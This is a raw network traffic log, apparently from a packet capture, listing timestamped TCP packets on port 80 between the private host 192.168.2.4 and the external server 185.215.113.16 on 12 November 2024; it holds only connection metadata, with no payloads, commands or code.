Nov 12, 2024 15:41:26.541686058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541695118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541704893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541743994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.541822910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541832924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541842937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.541867971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.541883945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544080973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544091940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544133902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544157982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544167995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544178009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544187069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544198036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544203997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544224024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544245005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544251919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544272900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544286966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544297934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544306993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544310093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544317007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544327021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544336081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544337988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544348001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544348955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544365883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544382095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544413090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544425964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544435024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544446945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544456005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544461012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544466972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544476032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544486046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544487953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544497013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544497013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544507027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544517994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544533968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544553041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544553041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544563055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544572115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544581890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544593096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544600010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544604063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544637918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544652939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544656038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544666052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544688940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544698954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544706106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544708967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544719934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544728994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544730902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544739008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544748068 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544749975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544769049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544792891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544833899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544842958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544853926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544864893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544874907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544883013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544886112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544893026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544895887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544907093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.544919014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.544943094 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.632178068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.632220030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.632242918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.632272959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.632303953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.692188025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692289114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692296982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.692372084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.692727089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692742109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692760944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692771912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692781925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692789078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.692792892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.692835093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693073988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693098068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693109035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693123102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693145037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693156958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693160057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693187952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693207979 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693250895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693341017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693352938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693361998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693372965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693382978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693408966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693411112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693439007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693444014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693458080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693460941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693469048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693476915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693481922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693485022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693504095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693512917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693523884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693527937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693535089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693543911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693553925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693555117 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693563938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693584919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693608999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693609953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693623066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693633080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693643093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693662882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693685055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693766117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693810940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693811893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693826914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693855047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693865061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693866014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693885088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693927050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.693949938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693969965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693980932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693989992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.693996906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694014072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694024086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694029093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694032907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694048882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694051027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694070101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694072962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694082975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694092989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694102049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694128036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694139957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694142103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694149017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694169998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694206953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694211006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694222927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694232941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694258928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694267035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694272041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694281101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694284916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694304943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694329023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694341898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694355965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694365978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694370985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694376945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694386959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694412947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694545031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694587946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694598913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694639921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694647074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694658041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694670916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694684982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694706917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694736958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694736958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694746971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694757938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694773912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694783926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694794893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694804907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694819927 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694855928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694866896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694909096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.694922924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694933891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694946051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694957972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.694972038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695121050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695137978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695147038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695152998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695158958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695169926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695173979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695183992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695194006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695194006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695208073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695216894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695226908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695235968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695240974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695245981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695266008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695269108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695286036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695298910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695302963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695307970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695349932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695424080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695458889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695465088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695472002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695494890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695511103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695523977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695528984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695537090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695585966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695667982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695677996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695686102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695713997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695724964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695729017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695734978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.695753098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.695775032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697113991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697134018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697145939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697171926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697186947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697199106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697210073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697218895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697261095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697308064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697318077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697329044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697364092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697364092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697429895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697441101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697448969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697484970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697499037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697541952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697573900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697585106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697586060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697613955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697618961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697724104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697731018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697771072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697873116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697933912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697936058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.697971106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.697990894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698002100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698028088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698043108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698056936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698071003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698081017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698091984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698100090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698111057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698124886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698128939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698136091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698146105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698154926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698156118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698167086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698173046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698185921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698215008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698231936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698246956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698288918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698445082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698467016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698478937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698504925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698523998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698582888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698594093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698604107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698613882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698625088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698633909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698641062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698646069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698659897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698681116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698697090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698721886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698734045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698740005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698745012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698750019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698779106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698791027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698793888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698801994 CET	80	49761	185.215.113.16	192.168.2.4
